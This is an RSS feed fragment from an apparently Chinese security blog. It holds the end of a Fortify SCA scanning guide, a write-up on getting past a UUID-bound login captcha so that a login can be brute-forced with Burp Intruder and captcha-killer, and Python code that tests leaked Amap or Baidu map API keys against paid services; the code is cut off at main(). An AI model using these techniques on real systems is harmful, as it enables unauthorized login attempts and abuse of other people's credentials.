&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; SCA 扫描的日志文件路径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置：&lt;/strong&gt; 通常保持默认即可。可以点击右侧的 &lt;code&gt;Open&lt;/code&gt; 按钮查看日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.5 配置选项 (Python 特有)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Add translation options&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 针对 Python 代码，您需要在此处指定 Python 版本和依赖库路径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置：&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;勾选 &lt;strong&gt;&lt;code&gt;Add translation options&lt;/code&gt;&lt;/strong&gt; 复选框。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在勾选后出现的文本框中，输入以下参数。请根据您的 Python 环境调整路径。
&lt;ul&gt;
&lt;li&gt;首先，通过在命令行运行 &lt;code&gt;python3 -c &quot;import sys; print(sys.path)&quot;&lt;/code&gt; 获取的 Python 模块搜索路径。我这里如下：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[&apos;&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\python311.zip&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\DLLs&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib&apos;, &apos;D:\\Scoop\\apps\\python311\\current&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32\\lib&apos;, &apos;D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\Pythonwin&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;    * 因此，应该在 Fortify 插件中输入：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-python-version 3 -python-path &quot;D:\Scoop\apps\python311\current\DLLs;D:\Scoop\apps\python311\current\Lib;D:\Scoop\apps\python311\current\Lib\site-packages&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;        + `-python-version 3`：指定您的 Python 版本为 3。
        + `-python-path &quot;...&quot;`：列出 Python 查找标准库和第三方库的路径，用分号 `;` 分隔。这些路径来自您 `sys.path` 的输出。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.6 其他选项 (可选)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Add scan options&lt;/code&gt;：用于添加 SCA 扫描阶段的额外参数，一般保持默认即可。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Update security content&lt;/code&gt;：使用最新的漏洞检测规则。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;三、执行扫描&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;完成上述所有配置后，点击 Fortify VSC 插件界面底部的 &lt;code&gt;Scan&lt;/code&gt;** 按钮**。&lt;/li&gt;
&lt;li&gt;扫描过程将在后台运行。可以在 VS Code 的 &lt;code&gt;OUTPUT&lt;/code&gt; 面板或终端中查看扫描进度和详细日志。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;五、查看扫描结果&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;扫描完成后，会在 &lt;code&gt;Scan results location (FPR)&lt;/code&gt; 中指定的路径生成一个 &lt;code&gt;.fpr&lt;/code&gt; 文件（例如：&lt;code&gt;python_results.fpr&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;打开 &lt;strong&gt;Fortify Audit Workbench&lt;/strong&gt; 客户端应用程序。&lt;/li&gt;
&lt;li&gt;点击 &quot;File&quot; -&gt; &quot;Open Project&quot;，然后选择生成的 &lt;code&gt;.fpr&lt;/code&gt; 文件。&lt;/li&gt;
&lt;li&gt;在 Audit Workbench 中，可以详细查看扫描到的安全漏洞、漏洞类型、严重程度、受影响的代码行、数据流分析以及修复建议。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1754921736218-e3a17d.ZNsIcFUP_1VzcoW.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>鉴权验证码如何绕过</title><link>https://s4u2self.cc/blog/bypass-auth-captcha</link><guid isPermaLink="true">https://s4u2self.cc/blog/bypass-auth-captcha</guid><description>鉴权验证码如何绕过</description><pubDate>Sat, 26 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;鉴权验证码如何绕过&lt;/h1&gt;
&lt;h2&gt;0x01&lt;/h2&gt;
&lt;p&gt;在项目上遇到了一个登陆口，但是有验证码，同时使用了当前验证码的UUID进行鉴权，简单来说就是&lt;/p&gt;
&lt;p&gt;如果需要爆破登录接口，需要识别验证码的同时携带上本次验证码的UUID同时爆破，接口才能返回信息。&lt;/p&gt;
&lt;p&gt;样式如下：&lt;/p&gt;
&lt;h2&gt;0X02&lt;/h2&gt;
&lt;p&gt;UUID同时有时间校验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752038946-844156.ClTk8jEK_YkI6H.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;UUID正常的情况下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752039187-465916.DRoZEN9F_Z1Mf2RG.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;重发包的情况下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752039366-36401c.CZ0pjW6S_Z1ROdb0.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;此处的UUID功能可以有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;时间戳&lt;/li&gt;
&lt;li&gt;SIGN校验&lt;/li&gt;
&lt;li&gt;验证码更新&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;爆破的时候就有个很尴尬的问题，如果直接引入burp里面，他的UUID是不会更新的，代表每一次的请求SIGN都是无效的。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0X03&lt;/h2&gt;
&lt;p&gt;解决方案：&lt;/p&gt;
&lt;p&gt;captcha-keiller 自带了一个解决方案&lt;/p&gt;
&lt;p&gt;其中regex就是用来提取token之类的参数的。&lt;/p&gt;
&lt;p&gt;regex需要用正则提取，参考如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752039472-aa0e3f.CW7W9klo_RNnOg.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;在intrude模块里面设置一下，在intruder中增加校验的参数&lt;code&gt;@captcha-killer-modified@&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;参考如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752039566-721d0a.ZnXqkxB-_Z1AL3hc.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;爆破回显已经能够正确的运行：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752039681-9f2ac2.BsHJnrIS_hf0Nb.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;log日志显示如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752039820-d05dc0.JNbhnYfP_ZhL9I9.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1710752039962-db9f9b.DXe-U4Y__UNfPM.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;完美解决这个问题。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>泄露地图AK一键检测利用</title><link>https://s4u2self.cc/blog/leak-map-ak-detection</link><guid isPermaLink="true">https://s4u2self.cc/blog/leak-map-ak-detection</guid><description>泄露地图AK一键检测利用</description><pubDate>Sun, 10 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;在一次APK反编译的时候发现存在一个关于map的KEY，试了几个接口无法调用成功，具体不知道哪个对应的接口和服务，于是配合GPT写了这份代码，旨在实现自动化AK利用。&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import argparse
import requests
import random
import time
import certifi
import json
import traceback
import os
from termcolor import colored
from typing import List, Dict, Tuple, Optional, Any
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib3.exceptions import InsecureRequestWarning

# --- Banner ---
BANNER = &quot;&quot;&quot;


                                                                                           
                            by: 地图API密钥全自动检测工具
&quot;&quot;&quot;

# --- Configuration ---

# Emojis for output enhancement
EMOJI_DETECT = &quot;🔍&quot;
EMOJI_PLATFORM = &quot;🏷️&quot;
EMOJI_KEY_FORMAT = &quot;🔑&quot;
EMOJI_SERVICE = &quot;▶️&quot;
EMOJI_SUCCESS = &quot;✅&quot;
EMOJI_FAIL = &quot;❌&quot;
EMOJI_CLOCK = &quot;⏱️&quot;
EMOJI_INFO = &quot;ℹ️&quot;
EMOJI_ERROR = &quot;❗&quot;
EMOJI_WARNING = &quot;⚠️&quot;
EMOJI_NETWORK = &quot;🌐&quot;
EMOJI_QUOTA = &quot;🚦&quot;
EMOJI_PERM = &quot;🔒&quot;
EMOJI_WRITE = &quot;💾&quot;
EMOJI_TOOL = &quot;🛠️&quot;


# Disable SSL warnings (use cautiously)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Safe coordinate bounds
SAFE_BOUNDS = {
    &apos;global&apos;: {&apos;lon_min&apos;: -180, &apos;lon_max&apos;: 180, &apos;lat_min&apos;: -90, &apos;lat_max&apos;: 90},
    &apos;china&apos;: {&apos;lon_min&apos;: 73.66, &apos;lon_max&apos;: 135.05, &apos;lat_min&apos;: 3.86, &apos;lat_max&apos;: 53.55}
}

# Test address pool
TEST_ADDRESS_POOL = [
    &quot;北京市朝阳区望京soho&quot;,
    &quot;上海市浦东新区陆家嘴环路1288号&quot;,
    &quot;广州市天河区珠江新城临江大道5号&quot;,
    &quot;深圳市福田区深南大道6001号&quot;,
    &quot;成都市锦江区红星路三段1号&quot;
]

# --- Helper Classes ---

class GeoGenerator:
    &quot;&quot;&quot;Generates random geographic data.&quot;&quot;&quot;
    @staticmethod
    def random_coord(region=&apos;china&apos;):
        bounds = SAFE_BOUNDS[region]
        return (
            round(random.uniform(bounds[&apos;lat_min&apos;], bounds[&apos;lat_max&apos;]), 6),
            round(random.uniform(bounds[&apos;lon_min&apos;], bounds[&apos;lon_max&apos;]), 6)
        )

    @staticmethod
    def random_ip():
        # Generate a public IP range more likely to be locatable
        while True:
            ip = f&quot;{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}&quot;
            parts = [int(p) for p in ip.split(&apos;.&apos;)]
            if parts[0] == 10: continue
            if parts[0] == 127: continue
            if parts[0] == 172 and 16 &amp;#x3C;= parts[1] &amp;#x3C;= 31: continue
            if parts[0] == 192 and parts[1] == 168: continue
            if parts[0] &gt;= 224: continue
            return ip


class KeyValidator:
    &quot;&quot;&quot;Validates key format and detects platform.&quot;&quot;&quot;
    @staticmethod
    def detect_platform(key: str) -&gt; Tuple[str, str]:
        &quot;&quot;&quot;Detects platform and provides format description.&quot;&quot;&quot;
        if re.match(r&apos;^[0-9a-fA-F]{32}$&apos;, key):
            return &apos;amap&apos;, &apos;高德 (32位 Hex)&apos;
        if re.match(r&apos;^[A-Za-z0-9]{32}$&apos;, key):
            if re.match(r&apos;^[0-9a-fA-F]{32}$&apos;, key):
                 return &apos;ambiguous&apos;, &apos;可能是高德或百度 (纯Hex字符)&apos;
            return &apos;baidu&apos;, &apos;百度 (32位 Alnum)&apos;
        return &apos;unknown&apos;, &apos;未知格式&apos;


class APITester:
    &quot;&quot;&quot;Executes API test calls.&quot;&quot;&quot;
    def __init__(self):
        self.user_agents = [
            &apos;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36&apos;,
            &apos;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15&apos;,
            &apos;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36&apos;,
            &apos;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0&apos;
        ]

    def _generate_service_configs(self, platform: str) -&gt; Dict:
         &quot;&quot;&quot;Generates service configs dynamically for fresh random data.&quot;&quot;&quot;
         coord = GeoGenerator.random_coord()
         random_addr = random.choice(TEST_ADDRESS_POOL)
         random_ip = GeoGenerator.random_ip()

         if platform == &apos;amap&apos;:
            return {
                &quot;静态地图&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/staticmap&quot;,
                    &quot;params&quot;: {&quot;location&quot;: f&quot;{coord[1]},{coord[0]}&quot;, &quot;zoom&quot;: 10, &quot;size&quot;: &quot;400*300&quot;, &quot;markers&quot;: f&quot;mid,,A:{coord[1]},{coord[0]}&quot;},
                    &quot;is_static&quot;: True
                },
                &quot;地理编码&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/geocode/geo&quot;,
                    &quot;params&quot;: {&quot;address&quot;: random_addr}
                },
                &quot;逆地理编码&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/geocode/regeo&quot;,
                    &quot;params&quot;: {&quot;location&quot;: f&quot;{coord[1]},{coord[0]}&quot;}
                },
                &quot;路径规划&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/direction/driving&quot;,
                    &quot;params&quot;: {&quot;origin&quot;: &quot;116.481028,39.989643&quot;, &quot;destination&quot;: &quot;116.434446,39.90816&quot;}
                },
                &quot;IP定位&quot;: {
                    &quot;url&quot;: &quot;https://restapi.amap.com/v3/ip&quot;,
                    &quot;params&quot;: {&quot;ip&quot;: random_ip}
                }
            }
         elif platform == &apos;baidu&apos;:
            return {
                &quot;静态地图&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/staticimage/v2&quot;,
                    &quot;params&quot;: {&quot;center&quot;: f&quot;{coord[1]},{coord[0]}&quot;, &quot;zoom&quot;: 10, &quot;width&quot;: 400, &quot;height&quot;: 300, &quot;markers&quot;: f&quot;{coord[1]},{coord[0]}&quot;},
                    &quot;is_static&quot;: True
                },
                &quot;地理编码&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/geocoding/v3/&quot;,
                    &quot;params&quot;: {&quot;address&quot;: random_addr, &quot;output&quot;: &quot;json&quot;}
                },
                &quot;逆地理编码&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/reverse_geocoding/v3/&quot;,
                    &quot;params&quot;: {&quot;location&quot;: f&quot;{coord[0]},{coord[1]}&quot;, &quot;output&quot;: &quot;json&quot;}
                },
                &quot;路径规划&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/direction/v2/driving&quot;,
                    &quot;params&quot;: {&quot;origin&quot;: &quot;40.01116,116.339303&quot;, &quot;destination&quot;: &quot;39.936404,116.452562&quot;}
                },
                &quot;IP定位&quot;: {
                    &quot;url&quot;: &quot;https://api.map.baidu.com/location/ip&quot;,
                    &quot;params&quot;: {&quot;ip&quot;: random_ip, &quot;coor&quot;: &quot;bd09ll&quot;}
                }
            }
         return {}

    def _call_api(self, url: str, params: dict, platform: str, service_name: str, is_static: bool = False) -&gt; Tuple[bool, dict]:
        &quot;&quot;&quot;Executes a single API request with retries.&quot;&quot;&quot;
        current_params = params.copy()
        retries = current_params.pop(&apos;retry&apos;, 2) + 1
        detail = {&apos;params&apos;: params, &apos;latency&apos;: None, &apos;error&apos;: None, &apos;error_info&apos;: None, &apos;response&apos;: None}

        for attempt in range(retries):
            response = None
            try:
                headers = {&apos;User-Agent&apos;: random.choice(self.user_agents)}
                start_time = time.time()
                response = requests.get(
                    url,
                    params=current_params,
                    headers=headers,
                    timeout=15,
                    verify=certifi.where(),
                    stream=is_static
                )
                latency = round((time.time() - start_time) * 1000, 2)
                detail[&apos;latency&apos;] = latency

                content_type = response.headers.get(&apos;Content-Type&apos;, &apos;&apos;).lower()

                if is_static and response.status_code == 200 and content_type.startswith(&apos;image/&apos;):
                    detail[&apos;response&apos;] = {&apos;content_type&apos;: content_type, &apos;status_code&apos;: 200}
                    response.close()
                    return True, detail

                if response.status_code != 200:
                    error_msg = f&quot;HTTP {response.status_code}&quot;
                    try:
                        error_data = response.json()
                        error_msg += f&quot;. API Msg: {json.dumps(error_data, ensure_ascii=False)}&quot;
                    except (json.JSONDecodeError, requests.exceptions.RequestException):
                        error_msg += f&quot;. Response: {response.text[:200]}...&quot;
                    detail[&apos;error&apos;] = error_msg
                    raise requests.HTTPError(error_msg, response=response)

                data = None
                try:
                    if &apos;application/json&apos; in content_type or &apos;text/javascript&apos; in content_type:
                         data = response.json()
                    elif platform == &apos;amap&apos; and service_name == &quot;IP定位&quot; and &apos;text/html&apos; in content_type and response.text.startswith(&apos;{&apos;) and response.text.endswith(&apos;}&apos;):
                         data = json.loads(response.text)
                    else:
                         raise ValueError(f&quot;非预期响应类型: {content_type}&quot;)

                    detail[&apos;response&apos;] = data

                    success = False
                    error_info = &quot;&quot;
                    if platform == &apos;amap&apos;:
                        success = str(data.get(&apos;status&apos;)) == &apos;1&apos;
                        if not success: error_info = data.get(&apos;info&apos;, &apos;未知高德错误&apos;) + f&quot; (infocode: {data.get(&apos;infocode&apos;, &apos;&apos;)})&quot;
                    elif platform == &apos;baidu&apos;:
                        success = data.get(&apos;status&apos;) == 0
                        if not success: error_info = data.get(&apos;message&apos;, &apos;未知百度错误&apos;) + f&quot; (status: {data.get(&apos;status&apos;, &apos;&apos;)})&quot;
                    else: error_info = &quot;未知平台错误&quot;

                    detail[&apos;error_info&apos;] = error_info if not success else None
                    return success, detail

                except json.JSONDecodeError as e:
                    detail[&apos;error&apos;] = f&quot;JSON解析失败 ({content_type}): {str(e)} | 响应: {response.text[:200]}...&quot;
                    return False, detail
                except ValueError as e:
                    detail[&apos;error&apos;] = f&quot;{str(e)} | 响应: {response.text[:200]}...&quot;
                    return False, detail

            except requests.exceptions.Timeout:
                detail[&apos;error&apos;] = &quot;请求超时&quot;
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except requests.exceptions.RequestException as e:
                detail[&apos;error&apos;] = f&quot;请求错误: {type(e).__name__}&quot; + (f&quot; (Status: {response.status_code})&quot; if response else &quot;&quot;)
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except Exception as e:
                 detail[&apos;error&apos;] = f&quot;未知处理错误: {type(e).__name__}: {str(e)}&quot;
                 print(f&quot;{EMOJI_ERROR} {colored(&apos;内部脚本错误&apos;, &apos;red&apos;)}: {traceback.format_exc()[:500]}...&quot;)
                 return False, detail
            finally:
                if response:
                    response.close()

        detail[&apos;error&apos;] = f&quot;超过最大重试次数 ({retries}). 最后错误: {detail[&apos;error&apos;]}&quot;
        return False, detail

    def test_service(self, platform: str, service_name: str, key: str, service_config: dict) -&gt; Tuple[bool, dict]:
        &quot;&quot;&quot;Tests a single service with its config.&quot;&quot;&quot;
        params = service_config[&apos;params&apos;].copy()
        params[&apos;key&apos; if platform == &apos;amap&apos; else &apos;ak&apos;] = key
        is_static = service_config.get(&apos;is_static&apos;, False)
        return self._call_api(service_config[&apos;url&apos;], params, platform, service_name, is_static)


class ReportGenerator:
    &quot;&quot;&quot;Generates console output for test results.&quot;&quot;&quot;
    @staticmethod
    def print_result(service: str, platform: str, success: bool, detail: dict):
        status_icon = EMOJI_SUCCESS if success else EMOJI_FAIL
        status_color = &apos;green&apos; if success else &apos;red&apos;
        service_status = colored(&quot;成功&quot; if success else &quot;失败&quot;, status_color)

        print(f&quot;{EMOJI_SERVICE} {service.ljust(7)} {status_icon} {service_status}&quot;)

        indent = &quot;  │&quot;

        latency = detail.get(&apos;latency&apos;)
        latency_str = f&quot;{latency:.2f} ms&quot; if latency is not None else &quot;N/A&quot;
        print(f&quot;{indent} {EMOJI_CLOCK} 耗时: {latency_str}&quot;)

        params_str = &quot; | &quot;.join([f&quot;{k}={v:.4f}&quot; if isinstance(v, float) else f&quot;{k}={str(v)[:30]}{&apos;...&apos; if len(str(v))&gt;30 else &apos;&apos;}&quot;
                                 for k, v in detail.get(&apos;params&apos;, {}).items() if k not in [&apos;key&apos;, &apos;ak&apos;]])
        if params_str:
             print(f&quot;{indent} {EMOJI_INFO} 参数: {colored(params_str, &apos;cyan&apos;)}&quot;)

        if success:
            success_info_str = ReportGenerator._extract_success_info(service, platform, detail.get(&apos;response&apos;))
            if success_info_str:
                print(f&quot;{indent} {EMOJI_INFO} 结果: {colored(success_info_str, &apos;green&apos;)}&quot;)

        error_msg = detail.get(&apos;error&apos;)
        error_info = detail.get(&apos;error_info&apos;)

        if error_info:
            print(f&quot;{indent} {EMOJI_WARNING} 原因: {colored(error_info, &apos;yellow&apos;)}&quot;)
            ReportGenerator._print_error_analysis(error_info)
        elif error_msg:
            print(f&quot;{indent} {EMOJI_ERROR} 原因: {colored(error_msg, &apos;red&apos;)}&quot;)
            ReportGenerator._print_error_analysis(error_msg)
        elif not success:
            print(f&quot;{indent} {EMOJI_ERROR} 原因: {colored(&apos;未知原因失败&apos;, &apos;red&apos;)}&quot;)
        print( &quot;  └&quot; + &quot;─&quot; * 30)


    @staticmethod
    def _extract_success_info(service: str, platform: str, response_data: Optional[Any]) -&gt; str:
        &quot;&quot;&quot;Extracts a brief summary from successful API response data.&quot;&quot;&quot;
        if response_data is None: return &quot;&quot;
        try:
            if isinstance(response_data, dict) and response_data.get(&apos;content_type&apos;, &apos;&apos;).startswith(&apos;image/&apos;):
                return f&quot;成功获取图片 ({response_data[&apos;content_type&apos;]})&quot;
            elif isinstance(response_data, dict):
                if service == &quot;IP定位&quot;:
                    city = &quot;未知&quot;
                    if platform == &apos;amap&apos;: city = response_data.get(&apos;city&apos;) if isinstance(response_data.get(&apos;city&apos;), str) and response_data.get(&apos;city&apos;) else response_data.get(&apos;adcode&apos;, &apos;N/A&apos;)
                    elif platform == &apos;baidu&apos;: city = response_data.get(&apos;content&apos;, {}).get(&apos;address_detail&apos;, {}).get(&apos;city&apos;, &apos;N/A&apos;)
                    return f&quot;定位城市: {city}&quot; if city and city != &apos;N/A&apos; else &quot;定位成功 (无城市信息)&quot;
                elif service == &quot;地理编码&quot;:
                    loc = &quot;未知&quot;
                    if platform == &apos;amap&apos;: loc = response_data.get(&apos;geocodes&apos;, [{}])[0].get(&apos;location&apos;, &apos;N/A&apos;)
                    elif platform == &apos;baidu&apos;: loc_dict = response_data.get(&apos;result&apos;, {}).get(&apos;location&apos;, {}); loc = f&quot;{loc_dict.get(&apos;lat&apos;, &apos;N/A&apos;)},{loc_dict.get(&apos;lng&apos;, &apos;N/A&apos;)}&quot; if loc_dict else &apos;N/A&apos;
                    return f&quot;获取坐标: {loc}&quot;
                elif service == &quot;逆地理编码&quot;:
                    addr = &quot;未知&quot;
                    if platform == &apos;amap&apos;: addr = response_data.get(&apos;regeocode&apos;, {}).get(&apos;formatted_address&apos;, &apos;N/A&apos;)
                    elif platform == &apos;baidu&apos;: addr = response_data.get(&apos;result&apos;, {}).get(&apos;formatted_address&apos;, &apos;N/A&apos;)
                    return f&quot;获取地址: {addr[:40]}{&apos;...&apos; if len(addr)&gt;40 else &apos;&apos;}&quot;
                elif service == &quot;路径规划&quot;:
                    dist, dur = &quot;N/A&quot;, &quot;N/A&quot;
                    try:
                        if platform == &apos;amap&apos;: path = response_data.get(&apos;route&apos;, {}).get(&apos;paths&apos;, [{}])[0]; dist, dur = path.get(&apos;distance&apos;), path.get(&apos;duration&apos;)
                        elif platform == &apos;baidu&apos;: route = response_data.get(&apos;result&apos;, {}).get(&apos;routes&apos;, [{}])[0]; dist, dur = route.get(&apos;distance&apos;), route.get(&apos;duration&apos;)
                        return f&quot;距离: {dist}米, 时间: {dur}秒&quot;
                    except (IndexError, KeyError, TypeError): return &quot;路径规划成功&quot;
                else: return &quot;调用成功&quot;
            return &quot;&quot;
        except Exception as e:
            return colored(f&quot;结果解析出错: {e}&quot;, &apos;magenta&apos;)

    @staticmethod
    def _print_error_analysis(error_text: str):
        &quot;&quot;&quot;Prints specific warning icons based on error text keywords.&quot;&quot;&quot;
        indent = &quot;  │  &quot;
        error_lower = error_text.lower()
        analysis_printed = False
        if &apos;quota&apos; in error_lower or &apos;配额&apos; in error_lower or &apos;并发&apos; in error_lower or &apos;qps&apos; in error_lower or &apos;limit&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_QUOTA} {colored(&apos;[疑似配额/并发限制]&apos;, &apos;yellow&apos;)}&quot;)
            analysis_printed = True
        if &apos;invalid user key&apos; in error_lower or &apos;key不正确&apos; in error_lower or &apos;ak不存在&apos; in error_lower or &apos;权限校验失败&apos; in error_lower or &apos;permission denied&apos; in error_lower or &apos;key status&apos; in error_lower or &apos;无效&apos; in error_lower :
            print(f&quot;{indent}{EMOJI_PERM} {colored(&apos;[密钥无效或服务未开通/权限不足]&apos;, &apos;red&apos;)}&quot;)
            analysis_printed = True
        if &apos;domain&apos; in error_lower or &apos;ip白名单&apos; in error_lower or &apos;referer&apos; in error_lower or &apos;sn校验失败&apos; in error_lower:
             print(f&quot;{indent}{EMOJI_PERM} {colored(&apos;[IP/域名/Referer/SN白名单校验失败]&apos;, &apos;magenta&apos;)}&quot;)
             analysis_printed = True
        if &apos;timeout&apos; in error_lower or &apos;超时&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_NETWORK} {colored(&apos;[请求超时]&apos;, &apos;blue&apos;)}&quot;)
            analysis_printed = True
        if &apos;json解析失败&apos; in error_lower or &apos;非预期响应类型&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_NETWORK} {colored(&apos;[响应格式错误或非预期]&apos;, &apos;magenta&apos;)}&quot;)
            analysis_printed = True
        if &apos;请求错误&apos; in error_text or &apos;http&apos; in error_lower or &apos;connection&apos; in error_lower or &apos;ssl&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_NETWORK} {colored(&apos;[网络/连接/HTTP错误]&apos;, &apos;blue&apos;)}&quot;)
            analysis_printed = True


# --- Main Execution ---

def parse_args():
    &quot;&quot;&quot;Parses command line arguments.&quot;&quot;&quot;
    parser = argparse.ArgumentParser(
        description=f&quot;{EMOJI_TOOL} 地图API密钥全自动检测工具 (v3.6)&quot;, # Version bump for banner
        formatter_class=argparse.RawTextHelpFormatter
        )
    parser.add_argument(&apos;-k&apos;, &apos;--keys&apos;, nargs=&apos;+&apos;, help=&quot;直接在命令行指定一个或多个密钥&quot;)
    parser.add_argument(&apos;-f&apos;, &apos;--file&apos;, help=&quot;包含密钥的文件路径 (每行一个密钥)&quot;)
    parser.add_argument(&apos;-t&apos;, &apos;--threads&apos;, type=int, default=5, help=&quot;并发测试线程数 (默认: 5)&quot;)
    parser.add_argument(&apos;-o&apos;, &apos;--output&apos;, help=&quot;将成功的检测结果输出到指定的JSON文件&quot;)
    parser.add_argument(&apos;--skip-static&apos;, action=&apos;store_true&apos;, help=&quot;跳过静态地图服务的检测&quot;)

    temp_args, _ = parser.parse_known_args()
    if not temp_args.keys and not temp_args.file:
         # Print banner before showing help on error
         print(colored(BANNER, &apos;cyan&apos;))
         parser.print_help()
         print(colored(&quot;\n错误: 必须通过 -k 或 -f 提供至少一个密钥。&quot;, &quot;red&quot;))
         exit(1)

    return parser.parse_args()

def main(keys_to_test: List[str], num_threads: int, output_file: Optional[str], skip_static: bool):
    &quot;&quot;&quot;Main detection workflow.&quot;&quot;&quot;
    tester = APITester()
    futures_map = {}
    results_for_output = []

